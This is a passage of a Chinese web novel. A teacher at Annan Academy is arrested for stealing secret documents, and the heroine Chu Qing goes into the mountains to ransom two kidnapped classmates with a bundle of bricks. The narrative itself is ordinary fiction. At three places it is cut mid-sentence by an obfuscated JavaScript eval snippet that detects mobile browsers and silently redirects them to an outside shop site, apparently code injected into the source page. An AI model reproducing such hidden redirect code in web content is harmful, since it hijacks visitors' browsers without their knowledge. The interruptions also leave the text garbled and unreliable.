薛霁指尖一顿,反问,“您说的这位,可是就在安南书院读书的初眠眠。” 于允芳大惊,“你这小子到底在我这里安插了多少眼线!” 见薛霁但笑不语,于允芳自知管不了他,只咋呼了一声又继续说,“实不相瞒,我看上的人就是她,但我瞧这姑娘像是带着恨来的,不受任何人的束缚,我留不住她,安南书院也留不住她。” “留不住,就不留。” 将把玩在手中的最后一颗黑子丢入篓中,薛霁说,“一棵树扎在土里,哪怕根再深、叶再盛,它也只有一棵,而蒲公英虽然仅是株草,但只要有风,世间遍地都是它的容身之所,人留与不留都无关紧要。” 薛霁的话让于允芳心中明朗,他好像忽然想通了什么,转身背靠着石桌边沿哈哈大笑起来。 这笑声中有愉悦、也有释然。 薛霁起身从袖袋里摸出一个装着白银的荷包放在桌上。 于允芳没有回头,却知道,“又是六两啊。” “是。” “最后一笔了吧。” “嗯。” “你年年来放下六两就走,这日子过的可真快,转眼间你已经将最后一笔束脩送过来了。” 身后之人不语,于允芳自说自话,“你见过眠眠吧,那丫头的性子同你幼时一般机灵又固执,你要拜我为师,我不应,她也要拜我为师,我还是不应,这么说起来,我似乎比你们二人还要顽固……” 长久的沉默之后,于允芳喃喃,“承安,没有教过你什么,我有些后悔。” 他的声音微颤,薛霁的语气也软了下来,“先生不收徒,却也不藏私,我曾爬墙偷学过不少,这束脩我其实花的值当,您实在不必内疚。” 这话将于允芳逗乐了,他用衣袖在脸上胡乱抹了一把,又佯装不耐烦的挥手,“去去去……没事就回去吧。” 他不回头,薛霁依旧拱手颔首向他行弟子礼,“是,学生薛霁,告辞。” 垂花门被人轻轻阖上,于允芳终于转过身来,他红着眼睛看向那扇再不会被推开的门,扬着唇欣慰笑了。 安南书院封院已久,成日被关在里面的学生们已是怨声载道、蠢蠢欲动,夫子们在各处准备的防身农具让调皮的男孩们当做武器对打,头与把早已经脱落的七七八八,散在角落看不出原状。 见院内的东西都嚯嚯的差不多了,有胆子大的竟悄悄溜出书院,结伴偷跑下山玩去了。 陈家宝有钱,用瓜果点心雇了好几个同窗同他一起去安南庄夜市采买吃食话本、泥塑玩偶之类的小物件,回到书院后在百果园凉亭里支起了摊子便宜贩卖。 学生们举着从陈家宝手里买回来的糖葫芦、糖人之类的零嘴,钻在凉亭中吹风闲聊、吃吃喝喝,好不逍遥自在。 而陈家宝本人则蹲在百果园门口,从荷包里倒出来一把铜板,乐呵呵的开始数钱。 栗铜问,“费劲儿扛回来这些零碎能挣几个钱,你爹都是富户了,你怎么还总跟个财迷似的?” “你不迷财,财不迷你。”陈家宝晃了晃满身的金银挂饰,笑道,“你以为我爹是怎么成富户的?勿以利薄而不积啊铜铜~” 坐在凉亭的学生吃得开心,说话的声音也不自觉大了起来,陈家宝将装得半满的钱袋子系在腰间,听他们说—— “傍晚在安南庄夜市上,我听卖糖画的小摊老板跟同行议论‘镇守西南的齐老将军在军中被偷渡的南夷小股精兵重伤,如今生死未卜呢!’” “啊,难怪我买画册的时候听说玉衍君在望江楼里的诗会不办了,晁都城里也好久都没人再见过他,难不成真是去前线找齐老将军了?” “那肯定啊,玉衍君在这世上就只剩兄长和祖父了,搁谁听闻自己亲人生死未卜不着急上火?” “玉衍君自年少起便惊才艳艳,十八岁时所作一篇《兴亡书》一经刊出就驰名天下,引得无数有才之士趋之若鹜,那可是风光霁月的齐煴玥啊,我实在想不出他着急上火的模样。” “少年时得志又如何,还不是被家中变故挡住了科考路,再风光霁月,也不过是一个有七情六欲的普通人。” “你们都只顾说玉衍君,却不想想要是齐老将军真生死未卜,那咱们中北边境还守不守得住,早就听说北漠要送和亲公主来晁都,可这都许久了还不见有消息,万一他们看大兴无将自保,假借和亲之名乔装打进晁都怎么办啊!” “有什么好怕的,才将他们击溃的慕峰青小将军还在晁都镇着呢,谅他们不敢造次……” 他们越说越有劲儿,陈家宝边听边记,“哦哦油糕、糖画,下回再买一些画册,栗铜,玉衍君所撰《兴亡书》你晓得哪里有货么……” 栗铜翻了个白眼不想搭理他,余光瞧见凉亭不远处的学田旁边,初暒也正蹲在地上不知道在看什么,他用胳膊肘碰了碰陈家宝,问,“初眠眠在你这儿买过东西么?她喜欢什么?” 陈家宝随口说,“初眠眠没钱。” “你问都不问就知道她没钱?”栗铜皱眉,“初家可就她一个闺女,出门都不塞点铜板么?” “我听苟旦说,初眠眠她兄长要塞呢,她不要,说是将钱都攒着将来要在晁都城里开间点心铺,真不是我没见过世面,她兄长做的点心是挺好吃的。” “就她家还想开铺子?晁都城里的铺子是那么好开么,我家的打铁铺开了许多年都只能搭在安南庄呢,初眠眠真是年纪不大,口气不小。” “晁都城怎么了,望江楼周边最好的地界均有我家的铺子。”陈家宝鼓励他,“你家的打铁铺是世袭的,整个安南庄都知道是老字号了,还想往哪儿开?” “滚滚滚,谁要世袭破烂打铁铺,要袭你去袭吧……” “怎么还急了呢……” 几群人分别聚群吵嚷,然初暒却蹲在一旁专心致志的查看围在学田偏僻边沿的几块破旧砖头。 田间土壤松软,有雨时便泥泞难行,有人为了好走,曾拾来碎砖在田边铺成小路。 初暒习以为常,因而并没有将小路当回事,可是近来她同苟旦来百果园翻地偶然发现,碎砖变成了整砖,原先不平坦但是连续不断的小路此刻成了由整砖摆成的断断续续、胡乱平放在地的小路。 她观察铺在学田泥土上的破旧砖块,总觉得这些砖块之间零散但好似又有某些规律,想的正认真, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888087|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初暒忽然觉察身后有人正踮着脚走来,估摸这人快要挨着自己,她先一步回头看过去。 赵芊芊本来想趁初暒在出神,悄悄将她吓上一吓,可恶作剧还没开始作,自己先被这人 猛地回头吓得花容失色。 “你怎么反应如此敏捷?真真吓死我了!” 小姑娘捂着胸口重重吐了口气,许是因为受了惊吓,她的眼睛在黑夜里亮亮的,初暒起身问,“真是对不住,又吓着你了,你来这里要做什么?” “你也就是第一天来书院时穿的像个女孩子了,怎么说也是个姑娘家,怎的裙摆成日间往腹带上一塞,还总跟男子似的随意扶膝蹲在地上。”赵芊芊上下打量完她,摇头,“十分不雅。” 她这番言行举止似乎是在模仿吴夫子。 初暒正觉得有趣时,无意间看到赵芊芊手中还拄着一把竹枝扫帚,脑袋里忽然‘叮’了一声,她问,“芊芊,你手里这扫帚哪来的?” 赵芊芊指着百果园内里栅栏,说,“方才在栅栏上靠着呢,大概是于师傅在此处打完盹忘记带走的,我准备回校舍了,便想着将这个扫帚带出去放在显眼之处,等于师傅打更时自己看见。” 初暒倏地想起于先生内宅小院中遍地的破旧砖块,她后退两步,俯视着脚下学田边沿。 与这些砖块之间有了一定距离后,她才看出这堆砖块之间确实有规律,砖与砖之间虽然打眼一瞧错综杂乱,好像只是随意摆放,但只要仔细观察就能看出这里每一块砖都是不可缺少的。 它们是阵的组成部分。 眼下这些砖,还原的就是摆在‘鬼宅’院心中的疏阵。 见她面上有喜色,赵芊芊问,“眠眠,你乐什么呢?地上什么都没有啊……” 初暒笑道,“有的,地上什么都有。” 自那天晚上起,初暒就开始留意书院中有破旧砖块堆的地方。 她曾看兵书中写,人的力量在自然面前微不足道,而自然又变化多端,因此为将者需要因地制宜、扬长避短,在两军交战中,排兵布阵就是利用地形、风向、天气等将军队力量发挥到最大,借天地之势,出其不意、克敌制胜。 于是她在草场地势较高一隅看到砖块朝下摆放,宛如若干鱼鳞一样按照阶梯的次序排列布置,头部微微凹陷明显是进攻位置,鱼尾排布松散是整个阵法的弱点,此阵适宜我方占据有利地形时使用; 又在四教亭外地势平坦之地发现用头、身、尾三部分组成酷似巨蟒长蛇形状的砖块,若攻击此阵首部,则尾动,阵卷敌军、攻击蛇尾,则首动,阵咬敌军,若攻击阵身,则首尾皆动,阵卷敌军,此阵变化莫测,一经运转使用,便可虚实并用、凌厉出击。 还在百果园地势低洼之处找到外沿状如白鹤展翅重兵围护,内里还有一砖坐镇的砖堆,此阵两翼机动灵活均可自由张合,既能左右包抄也可将中部之敌夹入阵中,极具攻守兼备之效用…… 短短几日,初暒已在安南书院各类地势、宽敞大路、偏僻角落中看到数十余种排兵阵法,虽然大多阵型她都叫不出名号,但先观其形、再思其状,也总能判断出这些阵法的真正作用和适用场景。 看得多了,初暒发觉这些阵法之间虽然能相互转变、叠加运用,但它们也能相互制约、相生相克,任何排兵布阵之法都可被同样擅长用阵的敌军破解。 世间并不存在必胜无疑的阵。 任何阵法的本质还是人。 指挥作战的将、冲锋陷阵的兵、保家卫国的人。 思及此处,初暒低头回想起前世那个鲁莽自大、从不为他人着想的自己。 那时她的眼里没有人,只有胜利。 以无数死伤为代价的、惨痛的胜利。 于先生虽说‘你我殊途,我教不了你’,可他院里那些破旧砖块,大概还是被全部零散铺在了书院各处。 有学生将摆在路中央的砖头沓起,当做作战壁垒,打完弹弓后就立刻躲藏下去,口中还高喊,“赤焰军慕家小将在此,尔等漠匪还不快快束手就擒……” 初暒将这些声音摒在耳后,置若罔闻。 她与迎面疾步走来的成非擦肩而过时,没有看到他眼中的惊魂未定与惶恐不安。 39. 抓捕 安南书院有旬假,每十日休一日。 前几回旬假,因虔来山土匪抢掠之言正盛,夫子们不松口,一定要大家安心待在书院休整,可少年们正值精力旺盛、上蹿下跳的年纪,怎会日夜规规矩矩安定在枯燥乏味的学堂之中。 起先,只有几个胆子大的敢翻墙下山玩耍,后来见他们在墙头来去自如也相安无事,一些憋得实在难受的孩子也跟着偷跑出去。 趁空溜出去的学生数量越来越多,给同窗打掩护找来的借口也越来越敷衍,夫子们既想睁一只眼闭一只眼饶过这些孩子又忧心这些孩子私下喊他们瞎子。 这些时日安南山风平浪静,再封院,别没有山匪,先传来学子翻墙摔断腿的消息。 故而经过一番商讨,书院还是决定正常轮休旬假。 此消息一出,安南书院众学子皆是欢呼雀跃。 虽然旬假只有不到一天,但学生们觉得只要能下山,半日都是好的。 他们有人趁着假期回家打牙祭,有的和同伴一同进城看热闹,也有懒得跑动的仍旧待在书院或是山间闲逛消遣。 赵芊芊坐在讲经堂门外看着正低头琢磨一堆砖头的初暒,问,“你怎么也不回家?” 已经五月,初暒估摸此时正是农忙,随口说,“家里人最近都在田里忙活,我不想回去添乱。” 赵芊芊不懂什么农忙农闲,她看初暒没有要与自己深聊的意思,偏头看向院里躲在用砖头搭起来的壁垒后和伙伴打弹弓的男孩。 他们玩的不亦乐乎,初暒也思考的聚精会神,等想明白眼前这个状如北斗七星的阵法能在何种作战情况中使用后,她起身预备在书院里寻找其他砖头堆。 傍晚时分,陆续有学生返回书院。 成非从外面慌慌张张回来,路过此处时,瞧见初暒低着头不知道再找什么,他顾不得许多,大跨两步抓住初暒的肩膀,焦急问,“你今日见过夫子没有?随便哪位都行!” 初暒被成非突如其来的询问整懵了,刚要回答,忽然耳廓一动,她听到不远处有一队训练有素的人正由远及近的朝自己这边小跑而来。 将站在自己对面的成非护到身后,初暒全身戒备的盯着前方空荡荡的连廊。 在讲经堂门附近的几人看见她这副模样一时都有些摸不着头脑,成非皱眉刚想推开她去找夫子,再抬眼竟看见有一群身着官差服饰的高大男子从连廊小跑过来,他惊得嘴巴微张,结结巴巴说,“我…没有……还没有……报官吧……” 为首的官差念及这里都是学生,为防止自己身上的杀气吓着他们,他抬手让所带小队停驻在原地后,只低声问,“安南书院教书夫子邱阳现在何处?” 在书院读书的孩子们哪里见这个架势,都怔愣在原地不敢吭声,那官差估计也是个急性子,半晌儿不听他们回话,咬着后槽牙就要出言呵斥,却不想他嘴还没张开,其中有一个小姑娘走到前面,仰头看着自己问—— “你找我们邱夫子做什么?” 这支小队个个身着玄色盔甲,张张容颜都凶神恶煞,为首之人自知他们光是站在那儿都能唬的旁人胆战心惊,可眼前这个小丫头只是静静看着他们,眼中竟不见一丝胆怯与闪躲,他心中起了兴趣,于是难得如此耐心地回说,“安南书院邱阳涉嫌盗取大兴机密文书,我等奉命前来搜证抓捕。” 机密文书? 邱阳一介平民,又整日待在书院,如何能接触到这种文书? 初暒在心中暗自揣测,一道尖锐的女生忽然在耳边炸起,“邱夫子为人最是正直,怎会盗取机密文书!” 赵芊芊不知哪来的胆子,急得满脸通红,“定是你们搞错了!” “究竟是不是搞错,自有军狱院各位大人评判。”为首官差挥手喝道,“搜!” 他一声令下,整装待发的小队立刻四散开来满院搜查,知道自己拦不住,初暒一边用眼神示意赵芊芊闭嘴,一边将自己周围几个学生推进讲经堂,以免来往官差身上的佩刀不长眼伤着他们。 不到片刻,邱阳便被两个小兵反手绑着羁押过来,其中一人将攥在掌心的一个小书卷双手捧给上司,低语,“大人,东西在邱阳书房斗柜之中找着了。” 为首官差将书卷展开确认后,重又合上塞进了自己的胸口褡裢里,他居高临下的瞥了一眼方才对自己大吼大叫的小姑娘,冷声道,“收队!” “且慢。” 从被捕之后就平静至极的邱阳终于开口,“诸位大人,我此去吉凶难料,可否让我与学生们再说几句话?” 官差大人向属下挑了挑下巴,缉拿小兵便立即松手立正。 赵芊芊不顾同窗拉扯,红着眼睛冲跑过来扯着邱阳衣袖,问,“邱夫子,这究竟是怎么一回事?您是被冤枉的对吗,你别怕……我这就去求我爹……” “芊芊。” 邱阳打断她,轻轻摇了摇头,而后只看向从讲经堂走过来的初暒。 自那支小书卷一出现,初暒就已经有了猜测,她偏头看了一眼官差装着书卷的胸口,心中开始懊悔。 似乎猜到她心中所想,邱阳看着她笑了笑,轻声嘱咐,“你这孩子平日最是调皮捣蛋,遇事也沉不住气,整个安南书院就只有院长能镇得住你,我虽不知自己为何会被官差捉拿,但也知晓只要行的端正,就会安然无恙,我不在书院时你切记要带着大家安心读书,不要为我担忧。” “行了!带走!” 文人就是墨迹,为首官差不耐烦吼完,手下小兵也随即架着邱阳往外走,赵芊芊看邱夫子真要被他们带走,下意识也要跟去,却被初暒一把拽了回来。 眼睁睁看着邱阳的身影转过连廊后消失不见,赵芊芊抹了一把脸上的眼泪后甩开初暒的手,自言自语道,“我要去找我爹……我要去找我爹……” 有人听到她的呓语,问,“你爹是谁啊,真能救邱夫子吗?” “我爹是工部侍郎赵无祸,我去求一求他,我现在就去……” 赵芊芊已经失了神,她嘟囔着在原地转了好几个圈却还是走不去,急得蹲在地上大哭起来,“你们走开别挡着我啊!” 众人看向示意自己围住此处的初暒,见她皱着眉走到赵芊芊面前,问,“你是否有个姐姐,叫赵挽挽?” 久违的听到姐姐的名字,赵芊芊眼里终于得见一丝清明,“你如何知道?” 这个回答倒让初暒苦笑一声,她如何知道? 她倒情愿自己不知道啊。 前世就是因为慕峰青调戏赵挽挽,被其父赵无祸告了御状,慕维之在万般无奈之下将儿子送进了军营顺便也将自己塞进去随军。 初暒虽然不亏欠赵家什么,但曾经是慕峰青的妹妹这回事除了让她觉得丢人以外,此时再遇见赵芊芊也还是让她倍觉愧疚。 世事无常,兜兜转转一大圈,自己还是要替慕峰青还账。 初暒弯腰将陈芊芊扶起,温声说,“挽挽姑娘才华横溢、温柔敦厚,曾是晁都女子效仿楷模,你方才自报家门,我才知道原来她还有个妹妹。” 姐姐才华横溢、温柔敦厚不幸早亡,赵家却将唯一一个女儿远远丢弃在这里,不是他们担忧城中流言会祸害她,就是觉得这个没有姐姐优秀的妹妹待在家里碍眼。 赵芊芊在安南书院就没有几回真正展颜欢笑过,想来不被家中宠爱才是真的。 初暒在用言语激她冷静,而赵芊芊则不负她望,立时制住了眼泪。 姐姐才不会在众目睽睽之下无措哭喊,即便快要赴死,也要死得慷慨端庄。 “那我们该怎么办?” 赵芊芊平静下来后像变了个人,周围人也来不及多想,开口询问,“方才怎么听邱夫子说眠眠平日最是调皮捣蛋,遇事也沉不住气呢?谁不知道她最孤僻,从来不同我们一起调皮捣蛋呐,还有什么院长?我在安南书院这么多年,还从未听过这里有院长呢。” 初暒想了想,答,“邱夫子前半句说的是反话,他想告诉我要沉住气,他知道自己为什么会被官差捉拿,后半句‘只要行的端正,就会安然无恙’大约是说,此事他可能也是被牵连,所以他并不希望我们为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888088|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他奔走求饶。” “原来如此,那‘院长’呢?咱们平日里就只见过夫子,哪见过有什么院长?” 初暒问,“吴夫子不在书院吗?” 赵芊芊说,“今日恰好是邱夫子当值,吴夫子一早就和于师傅下山了,至今还没有回来。” 成非闻言错愕大喊,“书院里竟没有一位夫子!这可怎么办啊!糟了糟了……” 学生问,“你又怎么了!” 成非哭丧着脸,道,“陈家宝…还有栗铜,他俩被虔来山蒙面山贼扣住了,山贼让我回来取赎金,一人五十两,总共要一百两呢,可是我哪儿有钱……” “啊!” 众人大惊失色,忙问,“你怎么不报官啊!” 成非:“不能报官!山贼说要是我敢将官差引来,一定要将他俩的脑袋削下来下酒,我不知道该怎么办只能先跑回来找夫子说明,谁知……谁知书院里又出了这档子事!” 今日发生的事情均已超过学生们的能力范围,大家的心里着急万分却又不知如何是好,一群人正如无头苍蝇一般四处嗡嗡时,忽听一人问,“成非,再将你们遇着山贼一事详细说与我听。” 初暒眼中虽也焦灼,但神情十分平静,她这副镇定自若、平心定气的模样也让围在四周的学生们心中安定下来。 成非深呼了一口气,回忆说,“今日旬假,我和栗铜帮陈家宝下山采买,路过栗铜家打铁铺时陈家宝非嚷嚷着要骑马,于是栗铜偷了在他家钉马蹄掌的马匹,我们三人牵着马不敢在庄上溜达便将马儿引到了安南山上,陈家宝吹牛说自己会骑马,见我们不信,自己爬到马背上就冲了出去,我和栗铜怕他遇险,也跟着马跑,谁知跑着跑着就跑出了安南山地界,等马儿跑累自己停下后我们才发现山里陌生,很像邱夫子讲过的虔来山山形地貌,我们心里有些怕了就要往回走,哪想到才刚转过身就看到从一处大石后面窜出两个拿着大刀的蒙面人影,他们见陈家宝身上满是金银挂饰,相视一眼后就挥着大刀过来将我们仨拦住,许是看我身上最是寒酸,故只抓了他俩而让我回来取钱,他们瞧我害怕,临我走时又威胁了一句不许报官。” 只听他讲述,众人都心惊胆颤。 初暒仔细听完后,道,“既要赎金,还蒙着面,那就只是求财,要是陈家宝与栗铜乖乖听话,或许还能多拖延些时间。” 赵芊芊问,“不能报官,书院也没有能商量的夫子,要不要下山去安南庄找陈富户?” “不行。”初暒解释,“陈家宝是陈富户的命根子,敢让他晓得儿子被绑,哭嚎声恐怕晁都城里都听见了。” 成非点完头,又是一脸哀愁,“那咱们还能怎么做嘛!” 初暒思忖片刻,才说,“邱夫子被官差带走之事,你我不知晓其中内情,也无法与朝廷抗衡,故而只能等吴夫子回来后再商议,陈家宝与栗铜被山贼扣住,我们多等一时,他俩就多危险一分,因此先去解救他们是当务之急。” “解救?可是咱们哪有一百两银子啊!” “没有一百两,那个也行。” 初暒低头指着地上,众人目光顺着她手指的方向,只看见一堆破旧白砖。 不等他们质疑,初暒先徒手把几块砖头拦腰劈断,又从讲经堂课桌上揪出一张桌布,用桌布包住断砖。 山林夜里黢黑,都是白花花好沉一包,谁能看出桌布里面包的是什么东西。 “芊芊,天色已晚,我瞧旬假学生都回的差不多了,你带几个人将书院各处大门紧紧封住,学生和夫子都只许进不许出,等见到吴夫子时就将今日之事全部告知于他,然后等着我们回来。” 赵芊芊:“你要去虔来山?你疯了不成!” 初暒认真看着她,“我知道自己在做什么,你放心,我会回来。” 又是这句。 她去意已决,赵芊芊紧咬着唇,再不挽留。 其他人也不再多说,初暒转头望向站在自己身旁的男孩,问,“成非,只有你认识路,你可敢带我前去寻找被山贼扣住的同窗?” 40. 赎人 虔来山与安南山虽说相连紧密,但每座巨山之中皆是壁立千仞、峰峦叠嶂,要想从一座山穿行到另一座山,没有两三个时辰的脚程是不大可能的。 下午他们三人在夕阳中边跑边玩还不觉得路途遥远,此时背着沉重地砖头包袱穿梭在夜深人静、伸手不见五指的深山之中,成非才开始悔恨自己当初为何没有拦住非要任性骑马的陈家宝。 已经在山里走了许久,前方还是只有树影晃动,他看着手举火折子、在长途跋涉中依旧脸不红心不跳在前面开路的初暒,硬生生抑住了疲惫叫苦的念头。 “累了?” 成非的脚步渐趋沉重,初暒慢走两步将他身上的包袱拽下来挂到自己肩上,“我来背着吧。” 一百两白银大概有六斤多重。 也就是说初暒手劈的砖头包袱里相当于装着八九个一般大小的苹果,或者一个中等个头的西瓜,要搁平常,这点重量背在男子身上也不算什么,可此时他们已经在这蜿蜒曲折的山林小路中走了约摸两个多时辰了,再强壮的人恐怕也有些吃不消。 但是将包袱丢给一个姑娘家背,成非心里多少还是有些不好意思。 没有负担,步子也轻快了一些,他小跑着追上初暒搭话,“初眠眠,年前我还听村里人说,你体弱多病恐怕都撑不到过年,怎的如今见你风风火火,连这样难走的山路都走的健步如飞啊?” 初暒:“就是因为身子不好,所以我消闲时常常在书院里锻炼身体,练的多,自然就长得结实了。” “难怪你从来都不与我们在一处玩耍……” 话说出口,成非才意识到他们为什么不能玩在一起。 山中有不知名的鸟兽时不时嗷呜嗷呜的喊叫,这些尖锐悠远的声音,在荒芜寂静的暗夜里让人听得汗毛直立。 “那些土匪手里有刀,就算找到陈家宝和栗铜,加上你我也只有四个人,咱们四个赤手空拳,用一袋破烂砖块去哄哪些歹人,万一将他们惹怒怎么办?我还是觉得自己答应带你过来有些冲动了。” 初暒回头在山中环视,成非随着她的视线也看了一圈,问,“你在找什么?” “没什么。”初暒淡淡笑着,说,“你可是害怕了?” “我怕!我有什么好怕的,我都亲眼见过土匪,还同他们说话了!我只是后悔大半夜领着你一个小姑娘在这深山里游走,恐坏了你的名声而已!” “我这名声还有损坏的余地?” 初暒说的漫不经心,成非却回想起自从听说她要回安南书院读书后,栗铜就开始在院里散播柏桥村的初眠眠就是苟旦非要和他那傻子大哥争强的媳妇,因而在初眠眠第一天入学,他们才在院门上放了一盆凉水想看他们狼狈出丑的笑话,可是没想到初眠眠这丫头脾气大、不是好欺负的,栗铜想整人,自己却被整了。 幸好她那天给了书院所有人一个下马威,不然被栗铜那个捣蛋鬼盯上了,谁也别想能在安南书院过上太平日子。 还有陈家宝,成非之前就听好友说栗铜伙同陈家宝利用苟旦将初眠眠独自诓骗进了百果园‘鬼宅’里,害她在那里面被打的鼻青脸肿、满身污迹。 他默了好一会儿才问,“栗铜和陈家宝平日里没少找过你麻烦,就这样两个欺负过自己的人,也值得你摸着黑翻山越岭、冒着性命之忧前去搭救吗?” 初暒不知道他不吭声这会儿是在想这个,想了一下,回说,“他们喜欢恶作剧是他们的事,我搭救自己的同窗是我自己的事,这两者之间并不冲突。” 成非不懂,又听她说,“你们这个年纪有看不惯的人最正常不过,我晓得他们都没有坏心眼,或许等你长大后会明白,同伙伴的性命比起来,一切恩怨与看不惯都无关紧要,人,才是最珍贵的。” 初眠眠这些话听起来十分有道理,成非思考了一会儿才反应过来:什么你们这个年纪、或许等你长大后明白,明明她和大家都同样年纪! 成非嘟嘟囔囔,“小姑娘家家的怎么说话跟我爹似的……” “嘘!” 不知不觉他们已经过了安南山踏上虔来山的地界,初暒眼力好,离得老远就看见前面有一处火光忽闪,她抬手立掌示意成非停下。 成非虽然看不明白初暒的禁行手势,但也知道临近贼窝,此刻须得噤声蹲在她的身后。 他们俩俯身又往前走了一截,等能看清坐在火堆前那两只土匪的身形后,初暒问,“是他们吗?” 又见歹人,成非慌得说不出话来,只用手指着他们,不住地点头。 见成非这样,初暒按住他的肩膀将他转过身背对着土匪,轻声安抚,“不要怕,此处地势低洼他们看不到你。” 成非瞪着眼睛继续点头。 “你待在这里别乱动,无论身后有什么动静都千万不要回头。”初暒看了一眼正在火堆旁低头啃草的矫健马匹,又说,“若是一会儿听到有马儿嘶鸣的声音,不要多想立刻起身往安南书院所在方向跑。” 成非刚要点头,又想起问,“那你呢?” “不用管我。” “不行!既然是我将你带出来的,也该由我带你回去。” 成非即使慌乱也不忘压着嗓子说话,初暒拂开他揪着自己衣袖的手,正色说,“我只央求你带路,并非邀你来涉险,我救两个人,比救三个人要容易些,你要是不听话,说不准我们四个此番都会给土匪送命。” “啪!” 后面的土匪似乎等的有些不耐烦,伸手用刀把砍了一下绑着两个肉票的树干,栗铜嘴被堵上了吓得呜呜直哭,这哭声远远传进了成非耳中。 成非咬牙看着初暒,终于从唇边蹦出一句,“我晓得了,你…要平安……” “好。” 初暒蹲着将绑在小腿边的土包系松,没有留心成非在地上抓了一把潮湿污泥抹在了她的脸上,“我不是……” “我明白。” 初暒毫不介意他抹在自己脸上的污泥,甚至还抬手将其涂抹均匀。 一切准备就绪,初暒猫着腰远离成非所处这片低洼后,直起身子昂首阔步的走向林中那片火光。 “哭什么哭,老子耳朵里都要被你哭出茧子了!” 一个身材魁梧、声如洪钟的胖土匪挥舞着大刀,焦急地来回转悠,“这是怎么回事,以男娃家的脚力不至于这么久还不见回来啊,老大!该不会是咱们放跑的那小子害怕不敢再来吧!” 被称作老大的土匪瘦小、眼中却满是精明,他潇洒的靠在巨石前,幽幽道,“着什么急,就算跑了的小子不回来,只这个小胖子一人身上的东西和这匹马也不枉咱们今日花费的功夫。” 陈家宝腆脸眯着眼讨好一笑。 “也是,绑在寨子里的那个老道士算的还挺准,他掐准今日此处有肥羊,嘿,还真有!”胖土匪不想再等了,“既没空手,要不然咱还是先回吧,总在这儿耗着也不是个办法。” “那这一百两怎么办?” 白白让他们等了许久,胖土匪恶狠狠地看着两个肉票,“不各自卸一条胳膊,都对不住我今日浪费的光景!” 他挥着手中大刀就要砍过去,瘦土匪见山林中像是有一个人正朝着这边走来,他出声叫停同伙,又说一句,“来了。” 顺着土匪们的目光,陈家宝看见一道熟悉的身影缓缓出现在眼前,他用力眨巴了一下眼睛,险些以为是自己出现了幻觉。 栗铜哭的正凶,忽然感觉身旁的陈家宝用脑袋碰了碰他,刚要去看他想干嘛,一抬头也瞧见了站在不远处的那人。 初暒背着包袱走到火堆前,佯装疲惫道,“两位大哥,我便是来接那两个不长眼跑到您地盘上撒野的小子的,山里头路不好走,让两位好等,真是对不住啊。” 她穿着男女干活时都能穿的短衫长裤,头上挽的是男子发髻,声调略高,像是还没变声的少年,可这身量体型跟下午遇上的男子并不相同。 “我二人放走的小子似乎不是你。”瘦削土匪狭长的眼睛辨认着这个灰头土脸看不清长相的人,他警惕问,“你到底是何人!” 知道顶替不了成非,初暒胡诌说,“被您放回去的那个小哥被吓狠了,一进门只将前因后果说完就闷头倒地,直到我出门时还不见醒呢,家里人忧心两个孩子安危,于是托我带着银子前来赎人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888089|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不是同一个人都不打紧,银子都长一样就成,您说对不。” 胖土匪狐疑的抻着脖子看向初暒身后,确认没有人跟来后才道,“银子呢?” 初暒拍了拍肩上的包袱,“这儿呢。” 她说着就要走过去将包袱递给他们,瘦土匪连忙将大刀横在两人之间,用刀尖指了指地,“将包袱搁在地上。” “哦哦好。” 初暒慢慢弯腰,左手将包袱放在地上,右手则用包袱挡着在自己的小腿上蹭了一下。 见这人十分配合,胖土匪用刀挡着,绕过初暒侧着向地上的包袱走去。 趁他侧步,瘦土匪也注目望着包袱时,初暒悄悄往陈家宝与栗铜两人站着的地方靠近,路过火堆时,她一抬脚,小腿上绑着的泥土布包便随之脱落到了火堆之上,本就快要燃尽的木料此时也没有余劲儿燃烧,只能忽明忽暗的闪烁挣扎。 火光忽闪,瘦土匪心中一跳,他刚准备大叫不好,四周忽然陷入了一片黑暗,自己绑在腰间刀鞘中的刀也被人猛地抽出。 初暒的双眼已经提前适应好黑暗,她用大刀劈开绑着陈家宝和栗铜的绳索,低声道,“不要出声,快往马背上跑!” 陈家宝和栗铜已经被绑在林间这片空地好几个时辰,所以只借着月光他们也能很快摸索到拴着马儿的位置。 火堆旁的动静不小,胖土匪听见了却一心只想去找那一百两白银,他好不容易在黑夜里找到包袱,将其扒开后却只摸到了几块破烂砖头。 “娘的!上当了!这小子用砖头诓我!” 他这一声,竟将林中飞禽全部惊起,瘦土匪听见这话也气得牙痒痒,手中没了兵器,他便捡了石头去拦正在解马缰绳的两人。 